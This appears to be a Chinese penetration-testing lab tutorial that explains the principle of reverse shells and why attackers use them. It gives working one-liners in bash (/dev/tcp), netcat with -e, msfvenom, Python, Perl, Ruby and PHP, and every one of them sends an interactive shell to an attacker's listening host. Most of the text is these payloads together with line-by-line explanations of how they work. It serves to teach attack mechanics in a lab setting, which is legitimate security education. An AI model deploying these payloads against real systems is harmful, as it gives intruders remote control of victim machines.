1.   关于反弹shell

就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

2.   反弹shell的原因

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

      1)某客户机中了你的网马,但是它在局域网内,你直接连接不了。

      2)它的ip会动态改变,你不能持续控制。

      3)由于防火墙等限制,对方机器只能发送请求,不能接收请求。

      4)对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

      那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

实验目的

通过该实验了解反弹shell的原理及各种方式的实现。

实验环境

Kali两台

hostA:10.1.1.100

hostB:10.1.1.101

实验步骤一

反弹shell是外网渗透的最后一步,也是内网渗透的第一步,本次实验不针对具体的某次渗透过程,重点在于针对反弹shell常见下的功能实现以及原理理解。

      先来看两台机器ip

      攻击机(称主机A)

      

 

      靶机(称主机B)

      

 

      bash直接反弹

      在主机A使用nc监听 ,命令:nc -lvvp 123

      

 

      在主机B上使用bash直接反弹,命令:bash -i >& /dev/tcp/10.1.1.100/123 0>&1

      

 

      此时主机A收到shell了

      

 

      这种方式是完全从原理出发,而且涉及到linux的一些本质知识点,所以展开来具体说一下。

      关键点在主机B上执行的那一句话。

      1. Bash –I  即产生一个bash交互环境

      2. >&      

         1)当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件

         2)当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

      3. /dev/tcp/10.1.1.100/123  让主机B与主机A(10.1.1.100)进行tcp连接,端口为123(注:linux下所有内容都以文件形式组织存在,所以看到/dev/tcp不用感到奇怪,它是Linux中的一个特殊设备,打开这个文件就相当于进行了一个socket调用,建立一个socket连接)

      >& 后面接 /dev/tcp/ip/port,根据3的注释和2的注释1)部分可知,意思为将标准输出和标准错误输出重定向到这个文件,重定向到socket连接的远程主机A上,此时如果主机A正在监听相应的端口,就会收到主机B的bash的标准输出和标准错误输出

      4. 0>&1 将标准输入重定向到标准输出,而标准输出在之前已经重定向到主机A了,添加这一部分是因为如果没有这一部分,在主机A上只能接收输出,而无法输入,或者说无法交互,添加上这一部分后,在主机A看来,就相当于拿到了主机B的shell

      (注:0 - stdin 代表标准输入,使用<或<<

          1 - stdout 代表标准输出,使用>或>>

          2 - stderr 代表标准错误输出,使用2>或2>>)

      根据分析我们可以修改一下这句话,看看是否如我们分析的这样

      1)将0>&1修改为0>&2

      同样现在主机A开启监听,命令:nc -lvvp 123

      

 

      主机B修改后执行,命令:bash -i >& /dev/tcp/10.1.1.100/123 0>&2

      

 

      主机A同样的效果

      

 

      2)不添加 0>&2

      主机A连接,命令:nc -lvvp 123

      

 

      主机B修改后运行,命令:bash -i >& /dev/tcp/10.1.1.100/123

      

 

      主机A同样建立了连接,但是输入命令是没有效果的

      

 

      在主机B中输入命令时,主机B没有回显,回显出现在主机A上,命令执行后的回显也是在主机A上

      

 

      这正好说明了缺失第4部分的内容时,主机A只能标准输出和标准错误输出,没有标准输入,这一部分的知识点非常重要,好好理解。

实验步骤二

利用nc

      主机A开启监听,命令:nc -lvvp 1234

      

 

      主机B反弹一句话,命令:nc 10.1.1.100 1234 -t -e /bin/bash

      

 

      命令的意思是:使用nc命令直接建立一个tcp 1234 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机

 

      此时反弹成功

      

利用msfvenom

      在主机A上使用msfvenom –l进行搜索相关payload

      

 

      结合关键字进行过滤,优化搜索结果

      本次要用到的是反弹shell相关的payload,所以关键字为'cmd/unix/reverse',配合grep进行匹配即可

      则输入如下命令:msfvenom -l payloads | grep 'cmd/unix/reverse'

      

 

      从结果中可以看到有许多实现的方式,包括lua、nodej、perl等,为什么会有这么多方式呢?这是为了适应不同靶机的需求,可能目标靶机上只有perl的执行环境,那么就可以使用perl实现的反弹shell的payload,如果靶机上只有python的环境,那么就使用python实现的payload,此处以python为例。选定payload后,设置后本机的ip和监听的端口

      命令:msfvenom -p cmd/unix/reverse_python lhost=10.1.1.100 lport=1234

      

 

      然后主机A上启动nc进行监听

      

 

      切换到主机B,在终端输入msfvenom给出的payload

      

 

      回车执行,即可在主机A上收到反弹的shell

      

 

      事实上,这部分的payload解码后就是python的一段脚本

      

 

      具体语言的反弹shell功能的实现会在下一部分提及

实验步骤三

具体语言实现

      先看python的

      还是现在主机A上监听,命令nc -lvvp 123

      

 

      然后主机B上执行python,命令python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.1.100',123)) ;os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"

      

 

      此时在主机A上就收到反弹shell了

      

 

      我们分析下这段脚本的内容

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.105',123))   建立socket连接

      os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); 使用了os模块的dup2函数和socket模块的fileno函数

      fileno函数:返回套接字的文件描述符fd,如果从shell中运行一个进程,默认会有3个文件描述符存在(0、1、2), 0与进程的标准输入相关联,1与进程的标准输出相关联,2与进程的标准错误输出相关联。

      Dup2函数:dup2传入两个文件描述符,f1和f2(f1是必须存在的),如果f2存在,就关闭f2,然后将f1代表的那个文件强行复制给f2,f2这个文件描述符不会发生变化,但是fd2指向的文件就变成了f1指向的文件。这个函数最大的作用是重定向

      这句的代码的作用就是将fd2指向s.fileno(),而fileno()返回的是建立socket连接返回的文件描述符fd,也就是将将标准输入、标准输出、标准错误输出重定向到远程

      p=subprocess.call(['/bin/bash','-i'])  使用subprocess在本地开启子进程,同时传入“i“使得bash以交互模式启动

      经过以上代码的功能整合,在主机A就相当于接收到了主机B的shell

      其他语言的实现也是同样的道理,关键的点都在于建立socket连接以及之后的交互实现

 

1)perl语言的

      perl -e 'use Socket;$i="192.168.0.105";$p=123;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

      

        

 

2)ruby语言的

      ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.105","123");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

      

        

 

3)php语言

      最简单的是利用php的exec函数直接执行第一部分的那条bash反弹的命令,不过更常见的是这条命令

php -r '$sock=fsockopen("192.168.0.5",123);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

      3代表fsockopen函数建立socket连接后返回的文件描述符,在exec函数中进行重定向,其中的0,1,2分别是前面提到的标准输入、标准输出、标准错误输出。原理与前面分析的一致。

 

      

        

 
 
参考自合天实验室